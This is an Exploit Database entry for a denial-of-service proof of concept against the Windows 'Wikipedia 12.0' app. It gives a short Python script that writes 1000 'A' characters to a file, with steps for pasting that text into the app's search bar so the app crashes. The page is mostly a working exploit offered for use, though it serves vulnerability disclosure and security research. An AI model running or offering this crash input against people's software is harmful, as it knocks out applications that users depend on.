



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Wikipedia 12.0 - Denial of Service (PoC)

EDB-ID:

45324

CVE:

N/A

EDB Verified: 

Author:

[0XB9](#)

Type:

[DOS](#)

Exploit:   / 

Platform:

[WINDOWS](#)

Date:

2018-09-03

Vulnerable App:



 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: Wikipedia 12.0 - Denial of Service (PoC)
# Date: 9/2/2018
# Author: 0xB9
# Twitter: @0xB9Sec
# Contact: 0xB9[at]pm.me
# Software Link: https://www.microsoft.com/en-us/p/wikipedia/9wzdncrfhwm4?
activetab=pivot%3aoverviewtab
# Version: 12.0
# Tested on: Windows 10
```

```
# Proof of Concept:
# Run the python script, it will create a new file "wiki.txt"
# Copy the text from the generated wiki.txt file to clipboard
# Paste the text in the search bar in the top right of app
# App will now crash
```

```
buffer = "A" * 1000
payload = buffer
try:
    f=open("wiki.txt","w")
    print "[+] Creating %s evil payload.." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created"
```

Tags: [Denial of Service \(DoS\)](#)Advisory/Source: [Link](#)

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)[PRIVACY](#)[ABOUT US](#)[FAQ](#)[COOKIES](#)

©

[OffSec Services Limited](#) 2026. All rights reserved.